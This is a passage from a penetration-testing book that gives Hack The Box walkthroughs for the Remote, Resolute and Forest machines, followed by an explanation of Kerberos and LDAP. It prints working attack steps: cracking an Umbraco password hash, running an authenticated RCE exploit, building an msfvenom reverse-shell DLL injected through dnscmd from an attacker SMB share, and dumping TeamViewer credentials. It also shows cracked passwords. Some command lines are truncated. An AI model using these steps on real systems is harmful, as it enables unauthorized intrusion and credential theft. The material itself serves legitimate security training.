3. Check whether the services can be modified by the user including stopping, starting
and updating configuration including registry settings.
Software
Enumerate software installed on the system in c:\Program Files and c:\Program Files (x86).
Software can be installed in other locations and checking the registry for Uninstall
information may reveal where.
Device Drivers
Check for non-Microsoft device drivers that may be vulnerable through DLL hijacking, being
able to write to folders inside the PATH.
Windows Credentials
Check Windows Vault for stored credentials accessible to software that can use Credentials
Manager and Windows Vault to automatically login on behalf of a user using the stored
credentials. You can list what credentials are stored by using the cmdkey /list command:
1 c:\Users\rin
2 λ cmdkey /list
3 Currently stored credentials:
4 Target: LegacyGeneric:target=git:https://github.com
5 Type: Generic
6 User: PersonalAccessToken
7 Local machine persistence
8 Target: LegacyGeneric:target=TERMSRV/172.16.5.66
9 Type: Generic
10 User: student
11 Local machine persistence
hide01.ir
Other places to look for credentials:
Network Information
As with the Linux enumeration, we are looking for any information that may be of value, but
especially information relating to credentials. Windows is different from Linux in that it has
the Windows Registry which is a in-memory database for storing configuration information.
This search involves looking at specific well-known locations that may potentially yield
credentials such as web.config files for the IIS web server, credentials stored with programs
like OpenVPN, SSH, Internet browsers, and other applications.
Some examples of registry locations that can be queried using the application reg are:
An nmap scan shows that the Windows box is not an Active Directory domain controller (no
LDAP, DNS or Kerberos). The box does have a web server on port 80 and has ftp on port 21.
The website has references to Umbraco in the source code and on the site itself as an
address. Searching for Umbraco on the Internet reveals that Umbraco is a content
management system (CMS) and that it has a login page that is normally located at
http;//remote.htb/umbraco. Navigating to that page gets a login prompt:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $ftp remote.htb
3 Connected to remote.htb.
4 220 Microsoft FTP Service
5 Name (remote.htb:rin): anonymous
6 331 Anonymous access allowed, send identity (e-mail name) as password.
7 Password:
8 230 User logged in.
9 Remote system type is Windows_NT.
10 ftp> dir
11 200 PORT command successful.
12 125 Data connection already open; Transfer starting.
13 226 Transfer complete.
14 ftp> pwd
15 257 "/" is current directory.
16 ftp> put afile.txt
17 local: afile.txt remote: afile.txt
18 200 PORT command successful.
19 550 Access is denied.
20 ftp>
hide01.ir
Looking at the nmap output, we can see that the machine has NFS (Network File System)
running (the RPC services nfs, mountd on ports 111 and 2049). NFS is the unix network file
sharing service and we can use the utility showmount (installed from the package nfs-
common) to list any available shares:
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $showmount -e remote.htb
3 Export list for remote.htb:
4 /site_backups (everyone)
We can then mount the directory /site_backups with the mount command:
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $mkdir site_backups
3 ┌─[rin@parrot]─[~/boxes/Remote]
4 └──╼ $sudo mount -t nfs remote.htb:/site_backups site_backups/
1 ┌─[rin@parrot]─[~/boxes/Remote/site_backups]
2 └──╼ $ls -al
3 total 119
4 drwx------ 2 nobody 4294967294 4096 Feb 24 2020 .
5 drwxr-xr-x 1 rin rin. 50 Jan 5 19:38 ..
6 drwx------ 2 nobody 4294967294 64 Feb 21 2020 App_Browsers
7 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 App_Data
8 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 App_Plugins
9 drwx------ 2 nobody 4294967294 64 Feb 21 2020 aspnet_client
10 drwx------ 2 nobody 4294967294 49152 Feb 21 2020 bin
11 drwx------ 2 nobody 4294967294 8192 Feb 21 2020 Config
12 drwx------ 2 nobody 4294967294 64 Feb 21 2020 css
13 -rwx------ 1 nobody 4294967294 152 Nov 2 2018 default.aspx
14 -rwx------ 1 nobody 4294967294 89 Nov 2 2018 Global.asax
15 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Media
16 drwx------ 2 nobody 4294967294 64 Feb 21 2020 scripts
17 drwx------ 2 nobody 4294967294 8192 Feb 21 2020 Umbraco
18 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Umbraco_Client
19 drwx------ 2 nobody 4294967294 4096 Feb 21 2020 Views
20 -rwx------ 1 nobody 4294967294 28539 Feb 20 2020 Web.config
hide01.ir
This looks like the umbraco website files. Searching on the Internet again for details of
where Umbraco stores credentials, we note that these are stored normally in the database
which by default is Microsoft SQL Server Compact Edition. This database is stored in a file
with an extension of sdf. For Umbraco, this is normally stored in the file
App_Data/Umbraco.sdf. If you just looked at the Web.config file, this also references the
data source information:
1 <connectionStrings>
2 <remove name="umbracoDbDSN" />
3 <add name="umbracoDbDSN"
4 connectionString="Data Source=|DataDirectory|\Umbraco.sdf;Flush Interval
5 providerName="System.Data.SqlServerCe.4.0" />
6 <!-- Important: If you're upgrading Umbraco, do not clear the connection
7 string / provider name during your web.config merge. -->
8 </connectionStrings>
Theoretically, it should be possible to open the sdf file using a variety of different
approaches on a Windows machine. When I tried this however, the database wouldn't open.
An easier approach is to simply do strings on the database to extract all of the textual
information and then grep for users. If we do this, we find a hash of a password for the user
admin in the file:
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $strings Umbraco.sdf | grep admin
3 Administratoradmindefaulten-US
4 Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
5 Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa
6 {"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
7 [email protected]
8 {"hashAlgorithm":"SHA1"}[email protected]
9 feb1a998-d3bf-406a-b30b-e269d7abdf50
10 [email protected]
11 {"hashAlgorithm":"SHA1"}[email protected]
12 82756c26-4321-4d27-b429-1b5c7c4f882f
hide01.ir
Cracking the hash (b8be16afba8c314ad33d812f22a04991b90e2aaa) with John The
Ripper reveals the password baconandcheese
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
3 …
4 Using default input encoding: UTF-8
5 Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
6 Warning: no OpenMP support for this hash type, consider --fork=2
7 Press 'q' or Ctrl-C to abort, almost any other key for status
8 baconandcheese (?)
Logging into the Umbraco site with user [email protected] and password baconandcheese
gives us the admin site
Using searchsploit, we find an authenticated remote code execution exploit for this
particular version
1 ┌─[oztechmuse@parrot]─[~/boxes/Remote]
2 └──╼ $searchsploit umbraco
3 -------------------------- ---------------------------------
4 Exploit Path
5 -------------------------- ---------------------------------
6 Umbraco CMS - Remote Command Execution (Metasploit) | windows/webapps/1967
7 Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution | aspx/webapps/
8 Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting | php/webapps/4
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $searchsploit -m aspx/webapps/46153.py
3 Exploit: Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution
4 URL: https://www.exploit-db.com/exploits/46153
5 Path: /usr/share/exploitdb/exploits/aspx/webapps/46153.py
6
hide01.ir
File Type: Python script, ASCII text executable, with CRLF line terminator
7 Copied to: /home/rin/boxes/Remote/46153.py
We need to change the cmd string and the authentication and host details
We can run a Python web server on port 8082 and run the exploit to verify that we get a hit
which we do:
1 ┌─[rin@parrot]─[~/boxes/Remote]
2 └──╼ $python3 -m http.server 8082
3 Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
4 10.129.1.153 - - [05/Jan/2021 21:04:20] code 404, message File not found
5 10.129.1.153 - - [05/Jan/2021 21:04:20] "GET /afile HTTP/1.1" 404 -
To get a reverse shell, we could use Metasploit but we can just as easily use Nishang
(https://github.com/samratashok/nishang). We have used this before, so we can use
Invoke-PowerShellTcp.ps1 and put the following line at the bottom of the file and rename it
as revsh.ps1
When we execute the exploit, we get a hit on the Python web server and then our netcat
listener is invoked:
1 ┌─[oztechmuse@parrot]─[~]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.153] 49691
5 Windows PowerShell running as user REMOTE$ on REMOTE
6 Copyright (C) 2015 Microsoft Corporation. All rights reserved.
7 PS C:\windows\system32\inetsrv>
When we run whoami /all we find that we are the IIS user (iis apppool\defaultapppool) and
that there are no other regular users on the machine other than Administrator. If we look in
c:\Users\Public, we find the user.txt file with the flag. The next thing we can do is to
download and run winPEAS.exe. We can use the winPEAS.exe program that is in the
winPEAS/winPEASexe/winPEAS/bin/x64/Release directory. You can download it to the
c:\Users\Public\Downloads using the PowerShell
A potentially easier path to escalation is the fact that our account has access to the
configuration of the UsoSvc which means that we can change the path of the binary it
points to and run our own script or binary. This looks frar more exploitable. But let us
continue and look if there is anything else.
A final exploit that is open to us is one that makes use of the SeImpersonatePrivilege which
can be exploited using Juicy Potato which we have done on another machine earlier in this
book. We will do this with another technique using an application called PrintSpoofer
(https://github.com/itm4n/PrintSpoofer)
Let us start with the TeamViewer exploit. To do this, we will use Metasploit and so we need
to get a meterpreter shell. So we can create a meterpreter reverse shell with msfvenom:
We can then copy that to the Remote machine as before using wget and then running the
binary once we have set up a meterpreter handler in Metasploit using exploit/multi/handler
hide01.ir
and setting the options of LHOST and Payload to match what we used in msfvenom. After
running the handler, we can run the meterpreter reverse shell and establish a session.
Once in the session, we can background it and then search for TeamViewer. This gives us a
module windows/gather/credentials/teamviewer_passwords which we can then run to get
the stored password:
1 meterpreter > bg
2 [*] Backgrounding session 1...
3 msf6 exploit(multi/handler) > search teamviewer
4 Matching Modules
5 ================
6 # Name Disclosure Date Rank Check Description
7 - ---- --------------- ---- ----- -----------
8 0 auxiliary/server/teamviewer_uri_smb_redirect normal No TeamViewer
9 Unquoted URI Handler SMB Redirect
10 1 post/windows/gather/credentials/teamviewer_passwords normal
11 No Windows Gather TeamViewer Passwords
12 Interact with a module by name or index. For example info 1, use 1 or
13 use post/windows/gather/credentials/teamviewer_passwords
14 msf6 exploit(multi/handler) > use 1
15 msf6 post(windows/gather/credentials/teamviewer_passwords) > options
16 Module options (post/windows/gather/credentials/teamviewer_passwords):
17 Name Current Setting Required Description
18 ---- --------------- -------- -----------
19 SESSION yes The session to run this module on.
20 WINDOW_TITLE TeamViewer no Specify a title for getting the window handle,
21 e.g. TeamViewer
22 msf6 post(windows/gather/credentials/teamviewer_passwords) > set SESSION 1
23 SESSION => 1
24 msf6 post(windows/gather/credentials/teamviewer_passwords) > run
25 [*] Finding TeamViewer Passwords on REMOTE
26 [+] Found Unattended Password: !R3m0te!
27 [+] Passwords stored in: /root/.msf4/loot/20210106122808_default_
28 10.129.1.153_host.teamviewer__511687.txt
29 [*] <---------------- | Using Window Technique | ---------------->
30 [*] TeamViewer's language setting options are ''
31 [*] TeamViewer's version is ''
32 [-] Unable to find TeamViewer's process
33 [*] Post module execution completed
This gives us the password !R3m0te!which by itself is not useful but we can see if it will
work with the Administrator user using evil-winrm which it does!
hide01.ir
1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/Remote]
2 └──╼ $evil-winrm -u Administrator -p '!R3m0te!' -i remote.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
6 remote\administrator
To run the exploit for PrintSpoofer, download the executable from the release on GitHub
(https://github.com/itm4n/PrintSpoofer). We can use our meterpreter session to upload it
and then simply run it in a shell to get access to nt authority\system
Finally, the third way of exploiting this box is to change the UsoSvc path. We can use the
application sc.exe to query the status of the service, stop it, change the path it is using for
the service binary and then start it again. We can use the same meterpreter reverse shell we
used previously.
hide01.ir
In Metasploit, we can go back to exploit/multi/handler and run it again. We don't need to
change anything and we can run using the command with the -j flag so that it runs in the
background.
An important thing to notice about these different approaches is that they result in
becoming different things. In the case of getting the Administrator password through
TeamViewer, we actually have access to the Administrator account itself. The other
approaches escalate us to the LocalSystem account which is a service user account who's
account token includes the SIDs of NT AUTHORITY\SYSTEM and BUILTIN\Administrators.
This account does not have a password and so, although more powerful in some ways
than the Administrator account, presents different challenges when using it to establish
persistence and other activities.
Another important consideration is that even though winPEAS suggested CVEs that might
be exploitable for this version of the operating system, all of them come with certain
conditions that need to be satisfied before they are able to be exploited. CVE-2019-1130 for
example suggests using a proof of concept
(https://github.com/S3cur3Th1sSh1t/SharpByeBear) that exploits a race condition. This
vulnerability is a timing problem that necessitates multiple cores on the machine and
access to user programs Edge or Cortana. We don't have access to these programs in this
situation. Likewise, a Metasploit module that exploits CVE-2019-1405 (and CVE-2019-1322)
has a Metasploit module that fails to work on this machine. So just because a machine is
theoretically vulnerable to a CVE because it has the correct build number doesn't mean all
conditions will be present to make it exploitable.
hide01.ir
Exercise: Enumeration and privilege
escalation on Resolute
We introduced this machine previously when we looked at rpcclient and RIDs and SIDs. We
will go through it again bearing in mind that we have covered the first step previously.
Resolute is a Windows Active Directory Domain Controller and the initial access is obtained
after trying a default password that is found through enumeration of AD domain users
using RPCClient. Through this discover that the password works for user Melanie and once
on the box, we use winPEAS to discover a hidden directory that has been used to audit
PowerShell script use. There is another password in this file for the user Ryan. Getting onto
the box as Ryan, we again enumerate and discover that this user is part of the DNS Admin
group. This can be exploited to load a reverse shell DLL using DNSCMD to get an elevated
shell.
An nmap scan of the box reveals that it is likely an AD domain controller with DNS,
Kerberos, LDAP, SMB and RPC services exposed. The domain name is megabank.local and
the computer name is resolute.
1 ┌─[oztechmuse@parrot]─[~/boxes/Resolute]
2 └──╼ $crackmapexec smb resolute.htb
3 SMB 10.129.1.152 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64
4 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
Using rpcclient with null session (user blank and no password), we do get in:
hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $rpcclient -U '' -N resolute.megabank.local
3 rpcclient $>
4 Running enumdomusers, we get a list of the AD users:
5 rpcclient $> enumdomusers
6 user:[Administrator] rid:[0x1f4]
7 user:[Guest] rid:[0x1f5]
8 user:[krbtgt] rid:[0x1f6]
9 user:[DefaultAccount] rid:[0x1f7]
10 user:[ryan] rid:[0x451]
11 user:[marko] rid:[0x457]
12 user:[sunita] rid:[0x19c9]
13 user:[abigail] rid:[0x19ca]
14 user:[marcus] rid:[0x19cb]
15 user:[sally] rid:[0x19cc]
16 user:[fred] rid:[0x19cd]
17 user:[angela] rid:[0x19ce]
18 user:[felicia] rid:[0x19cf]
19 user:[gustavo] rid:[0x19d0]
20 user:[ulf] rid:[0x19d1]
21 user:[stevie] rid:[0x19d2]
22 user:[claire] rid:[0x19d3]
23 user:[paulo] rid:[0x19d4]
24 user:[steve] rid:[0x19d5]
25 user:[annette] rid:[0x19d6]
26 user:[annika] rid:[0x19d7]
27 user:[per] rid:[0x19d8]
28 user:[claude] rid:[0x19d9]
29 user:[melanie] rid:[0x2775]
30 user:[zach] rid:[0x2776]
31 user:[simon] rid:[0x2777]
32 user:[naoki] rid:[0x2778]
Taking the users and putting it into a file rids.txt and then using cut to extract just the
usernames we can create a file of those:
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $cat rids.txt | cut -d '[' -f 2 | cut -d ']' -f 1 > users.txt
Back to rpcclient, we can use querydispinfo to get more information about the users we
found:
hide01.ir
1 rpcclient $> querydispinfo
2 <SNIP>
3 index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null)
4 Desc: Key Distribution Center Service Account
5 index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null)
6 Desc: (null)
7 index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak
8 Desc: Account created. Password set to Welcome123!
9 index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null)
10 Desc: (null)
11 index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null)
12 Desc: (null)
13 <SNIP>
That gives us a password that was used when accounts were created of Welcome123! We
can try this with crackmapexec to test it with all of the usernames we have already
discovered:
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $crackmapexec smb resolute.htb -u ./users.txt -p 'Welcome123!'
3 <SNIP>
4 SMB 10.129.1.152 445 RESOLUTE [-] megabank.local\per:Welcome123!
5 STATUS_LOGON_FAILURE
6 SMB 10.129.1.152 445 RESOLUTE [-] megabank.local\claude:Welcome123!
7 STATUS_LOGON_FAILURE
8 SMB 10.129.1.152 445 RESOLUTE [+] megabank.local\melanie:Welcome123!
This gives us a login with the user melanie that we can then use evil-winrm to logon with
and get the user.txt file:
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $evil-winrm -u melanie -p 'Welcome123!' -i resolute.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\melanie\Documents>
We can now upload winPEAS.exe using evil-winrm's built in feature of uploading files:
hide01.ir
1 *Evil-WinRM* PS C:\Users\melanie\Documents> upload winPEAS.exe
2 Info: Uploading winPEAS.exe to C:\Users\melanie\Documents\winPEAS.exe
3 Data: 629416 bytes of 629416 bytes copied
4 Info: Upload successful!
When we run winPEAS, you should notice that in the PowerShell description, it mentions a
directory for transcripts:
If we change directory to c:\PSTranscripts and do a dir, we won't see anything and we have
to look for hidden directories and files to be able to do that. Eventually we find a file in the
path c:\PSTranscripts\20191203
1 *Evil-WinRM* PS C:\PSTranscripts\20191203> ls -h
2 Directory: C:\PSTranscripts\20191203
3 Mode LastWriteTime Length Name
4 ---- ------------- ------ ----
5 -arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.2019
We can download this file using the download command and look at it on our box. In the
file, we notice a command that uses the user ryan with a password of
Serv3r4Admin4cc123!
DnsAdmins have the ability to install plugins to DNS that is running on the machine. A
plugin is a library that adds functionality to DNS and it is a Dynamic Link Library (DLL).
The easy way to do this is to create a reverse shell DLL using msfvenom, configure DNS to
use it, then stop and restart the DNS server (https://medium.com/techzap/dns-admin-
privesc-in-active-directory-ad-windows-ecc7ed5a21a2). The problem with this is that it will
cause the DNS server to hang and become unresponsive. On Hack The Box, that is sort of
ok because the system gets reset every minute, however, in a real assignment, you would
not want to cause a major part of an organization's infrastructure to become inoperable.
IppSec (https://www.youtube.com/watch?v=8KJebvmd1Fk&t=2130) shows a way of
writing a custom DLL that uses threads to avoid this issue and so is a better approach but
more complicated as the code is in C++ and you need the environment to build it. You can
find the code for this approach on GitHub
(https://github.com/oztechmuse/Code4HackTheBox/tree/master/Machines/Resolute/revs
hell-dns-dll/dns-plugindll-vcpp).
hide01.ir
The first thing to do is create a DLL with msfvenom. For the time being, this can't be a
meterpreter shell because of constraints on the DLL.
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $msfvenom -a x64 -p windows/x64/shell_reverse_tcp \
3 LHOST=10.10.14.117 LPORT=6001 -f dll > revsh.dll
4 [-] No platform was selected, choosing Msf::Module::Platform::Windows
5 from the payload
6 No encoder specified, outputting raw payload
7 Payload size: 460 bytes
8 Final size of dll file: 5120 bytes
We can then start an SMB server using Impacket's smbserver.py to make the DLL
accessible to the machine:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $sudo smbserver.py share $(pwd)
3 [sudo] password for oztechmuse:
4 Impacket v0.9.23.dev1+20201209.133255.ac307704 -
5 Copyright 2020 SecureAuth Corporation
6 [*] Config file parsed
7 [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
8 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
9 [*] Config file parsed
10 We can then stop DNS, configure it to use the plugin and then start again:
11 *Evil-WinRM* PS C:\Users\ryan\Desktop> sc.exe stop dns
12 SERVICE_NAME: dns
13 TYPE : 10 WIN32_OWN_PROCESS
14 STATE : 3 STOP_PENDING
15 (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
16 WIN32_EXIT_CODE : 0 (0x0)
17 SERVICE_EXIT_CODE : 0 (0x0)
18 CHECKPOINT : 0x1
19 WAIT_HINT : 0x7530
20 *Evil-WinRM* PS C:\Users\ryan\Desktop > dnscmd 127.0.0.1 `
21 /config /serverlevelplugindll \\10.10.14.117\share\revsh.dll
22 Registry property serverlevelplugindll successfully reset.
23 Command completed successfully.
24 *Evil-WinRM* PS C:\Users\ryan\Desktop > sc.exe start dns
25 SERVICE_NAME: dns
26 TYPE : 10 WIN32_OWN_PROCESS
27 STATE : 2 START_PENDING
28 (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
29
hide01.ir
WIN32_EXIT_CODE : 0 (0x0)
30 SERVICE_EXIT_CODE : 0 (0x0)
31 CHECKPOINT : 0x0
32 WAIT_HINT : 0x7d0
33 PID : 1096
34 FLAGS :
You will see a hit on the SMB server and then a reverse shell contacting your netcat listener:
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.117] from (UNKNOWN) [10.129.1.152] 59700
5 Microsoft Windows [Version 10.0.14393]
6 (c) 2016 Microsoft Corporation. All rights reserved.
7 C:\Windows\system32>whoami
8 nt authority\system
hide01.ir
Final thoughts on enumeration and
discovery
We have only scratched the surface in terms of the process of enumeration and discovery
for privilege escalation. However, starting with the checklist on Linux or Windows, it is a
good basis for being thorough in exploring all aspects of a machine to find exploitable
features, misconfigurations and other vulnerabilities. Although we have touched on Active
Directory in this chapter, it is a large subject and important because of the centralized
nature of the administration. A compromise of AD potentially means that an attacker has
control over all machines and users in an organization. This is what we will look at in more
detail in the next chapter.
hide01.ir
At its core, Active Directory is a directory of objects which represent computers, users,
groups and devices. Each object has data associated with it that is stored according to a
schema that defines its attributes. A user for example will have attributes like SAM-Account-
Name and DisplayName, Home Directory, Account-Expires, etc.
The directory can be queried and updated through an LDAP (Lightweight Directory
Services) interface and so each object has a distinguished name (DN) that is made up of a
hierarchy of names such as common names (CN), organizational unit (OU), organization
(O), and domain component (DC). So a user in an AD directory may have a DN of:
Each group of objects is organized in a domain. Domains can be grouped together as a tree
which in turn can be grouped as a forest. Domains can have different trust levels between
each other.
The default authentication protocol for Active Directory is Kerberos which replaced NTLM.
This is important from our perspective because a number of vulnerabilities in AD are based
on misconfiguration or actual design features of Kerberos.
hide01.ir
Before going into detail on Kerberos, we will finish off with other services Active Directory
provides. These are:
Certificate Services: This provides a public key infrastructure that can create, validate and
revoke public key certificates. The certificates can be used for encrypting files, emails and
network traffic.
Federation Services: This service supports single sign-on for web-based services and
network resources. Once a user has logged on once, they do not need to log on again when
they use a new service as long as it is in within a configurable time period.
Rights Management Services: This service controls access to documents such as emails,
Word or Excel documents and web pages. The service will determine what a user can do
with a document for example being able to read it but not print, copy, forward, or edit.
Kerberos Authentication
Kerberos consists of a Key Distribution Center which has an Authentication Server and a
Ticket Granting Server. The Authentication Server is responsible for mutual authentication
of a client and is involved in the first step of the process. The user sends a request to the
Authentication Server to get a Ticket Granting Ticket (TGT). The request will contain the
user's ID, the ID of the Ticket Granting Server, an IP address and a time to live (TTL).
Depending on the configuration, and we will see later why this is important, if pre-
authentication is required, the client will take the user's password and use it to encrypt a
time stamp. The Authentication Server looks up the users in AD to check if they are valid,
gets a saved NTLM hash of the user's password and uses that to decrypt the time stamp
that was sent through with the request. If the time stamp is valid (a reason why clocks on
the client and server need to be synchronized), the Authentication Server determines the
users to be pre-authenticated.
When the user wants to make use of a service, the client software sends a request for a
service ticket to the KDC. The request consists of the session key, an encrypted
authenticator message, the TGT obtained previously and the identity of the service. The
KDC checks the authenticator message, decrypts the TGT with its own key and creates a
new session key for the client to use with the service. One copy of the service session key is
encrypted with the user's key, the second is added to the user's authorization data (the
Privilege Attribute Certificate PAC) and encrypts that as a ticket using the server's master
key. The KDC sends this back to the client. The client decrypts the service session key and
stores the ticket it has been sent.
Finally, when the client wants to communicate with the service, It sends the service ticket,
with an authenticator signed with the service session key to the service. The service
decrypts the ticket, obtains the session key from that and checks the authenticator
message. If that passes the service can optionally mutually authenticate itself by taking the
time from the user's authenticator message, encrypting it with the session key and sending
it back to the user.
Just to summarise, there are three secrets that are used in Kerberos authentication and
access to services:
1. The user password hash that is used by the user to authenticate requests to the KDC
2. Service password hash. Kerberos maintains a mapping between the Service Principle
Name (SPN) and the service account that runs the service. The password hash that is
used by the service is that of the service account.
3. The KDC password hash of the account krbtgt that is used to encrypt the TGT and sign
the PAC that is sent to the service.
We have already seen an example of enumeration of AD users using rpcclient. The more
direct way of enumerating objects in AD is to use the LDAP interface which was designed
exactly for this purpose. We can use ldapsearch as a tool to explore ldap and use an Onine
LDAP test server. This server requires us to authenticate to read the contents and this
process is known as doing a "bind". To authenticate, we specify the bind distinguished
name "cn=read-only-admin,dc=example,dc=com" and the password of "password". To list
all of the mathematicians in the directory, we can use the following ldapsearch:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ ldapsearch -h ldap.forumsys.com -D "cn=read-only-admin,dc=example,d
3 -w password -b "ou=mathematicians,dc=example,dc=com"
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <ou=mathematicians,dc=example,dc=com> with scope subtree
8 # filter: (objectclass=*)
9 # requesting: ALL
10 #
11 # mathematicians, example.com
12 dn: ou=mathematicians,dc=example,dc=com
13 uniqueMember: uid=euclid,dc=example,dc=com
14 uniqueMember: uid=riemann,dc=example,dc=com
15 uniqueMember: uid=euler,dc=example,dc=com
16 uniqueMember: uid=gauss,dc=example,dc=com
17 uniqueMember: uid=test,dc=example,dc=com
18 ou: mathematicians
19 cn: Mathematicians
20 objectClass: groupOfUniqueNames
21 objectClass: top
22 # search result
23 search: 2
24 result: 0 Success
25 # numResponses: 2
26 # numEntries: 1
Although specifying the objectClass in the query is superfluous, it illustrates doing a query
with 2 terms that are "anded" together. The symbol '|' represents "or" and "!" is "not". The
object that is returned is of multiple classes: inetOrgPerson, organizationalPerson, person
and top. Each of these classes has associated attributes that they contribute to the overall
object.
If we hadn't know that the base DN was dc=example,dc=com we could have queried this
with the query:
1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $ldapsearch -h ldap.forumsys.com -D "cn=read-only-admin,dc=example,dc
3 -w password -s base namingContexts
4 # extended LDIF
5 #
6 # LDAPv3
7 # base <> (default) with scope baseObject
8 # filter: (objectclass=*)
9
hide01.ir
# requesting: namingContexts
10 #
11 #
12 dn:
13 namingContexts: dc=example,dc=com
14 # search result
15 search: 2
16 result: 0 Success
17 # numResponses: 2
18 # numEntries: 1
We will see the use of this in our Hack The Box case study of Forest:
hide01.ir
Exercise: Enumerating and exploiting AD on
Forest
Running an nmap scan we find:
The machine is likely running Windows Server 2016 Standard 6.3 and is likely an Active
Directory domain controller as it is running DNS, Kerberos, LDAP. smbmap and
crackmapexec do not return any information on shares. If we explore LDAP, we can first
confirm the namingContexts:
1 ┌─[✗]─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $ldapsearch -x -h forest.htb -s base namingContexts
3 # extended LDIF
4 #
5 # LDAPv3
6 # base <> (default) with scope baseObject
7 # filter: (objectclass=*)
8 # requesting: namingContexts
9 #
10 #
11 dn:
12 namingContexts: DC=htb,DC=local
13 namingContexts: CN=Configuration,DC=htb,DC=local
14 namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
15 namingContexts: DC=DomainDnsZones,DC=htb,DC=local
16 namingContexts: DC=ForestDnsZones,DC=htb,DC=local
17 # search result
18 search: 2
19 result: 0 Success
20 # numResponses: 2
21 # numEntries: 1
If we now do a general query we get a great deal of output. We can filter this to see what
classes of objects we are getting back and we see:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Resolute]
2 └──╼ $ ldapsearch -x -h forest.htb \
3 -b dc=htb,dc=local | grep objectClass | sort -u
4 objectClass: applicationSettings
5 objectClass: builtinDomain
6 objectClass: classStore
7 objectClass: computer
8 objectClass: container
9 objectClass: dfsConfiguration
10 objectClass: dnsNode
11 objectClass: dnsZone
12 objectClass: domain
13 objectClass: domainDNS
14 objectClass: domainPolicy
15 objectClass: fileLinkTracking
16 objectClass: foreignSecurityPrincipal
17 objectClass: group
18 objectClass: infrastructureUpdate
19 objectClass: ipsecBase
20 objectClass: ipsecFilter
21 objectClass: ipsecISAKMPPolicy
22 objectClass: ipsecNegotiationPolicy
23 objectClass: ipsecNFA
24 objectClass: applicationSettings
25 objectClass: builtinDomain
26 objectClass: classStore
27 objectClass: computer
28 objectClass: container
29 objectClass: dfsConfiguration
30 objectClass: dnsNode
31 objectClass: dnsZone
32 objectClass: domain
33 objectClass: domainDNS
34 objectClass: domainPolicy
35 objectClass: fileLinkTracking
36 objectClass: foreignSecurityPrincipal
37 objectClass: group
38 objectClass: infrastructureUpdate
39 objectClass: ipsecBase
40 objectClass: ipsecFilter
41 objectClass: ipsecISAKMPPolicy
42 objectClass: ipsecNegotiationPolicy
43 objectClass: ipsecNFA
44 objectClass: ipsecPolicy
45 objectClass: leaf
46 objectClass: linkTrackObjectMoveTable
47 objectClass: lostAndFound
48 objectClass: msDFSR-Content
49 objectClass: msDFSR-ContentSet
50 objectClass: msDFSR-GlobalSettings
51 objectClass:
hide01.ir
msDFSR-LocalSettings
52 objectClass: msDFSR-Member
53 objectClass: msDFSR-ReplicationGroup
54 objectClass: msDFSR-Subscriber
55 objectClass: msDFSR-Subscription
56 objectClass: msDFSR-Topology
57 objectClass: msDS-PasswordSettingsContainer
58 objectClass: msDS-QuotaContainer
59 objectClass: msExchActiveSyncDevice
60 objectClass: msExchActiveSyncDevices
61 objectClass: msExchSystemMailbox
62 objectClass: msExchSystemObjectsContainer
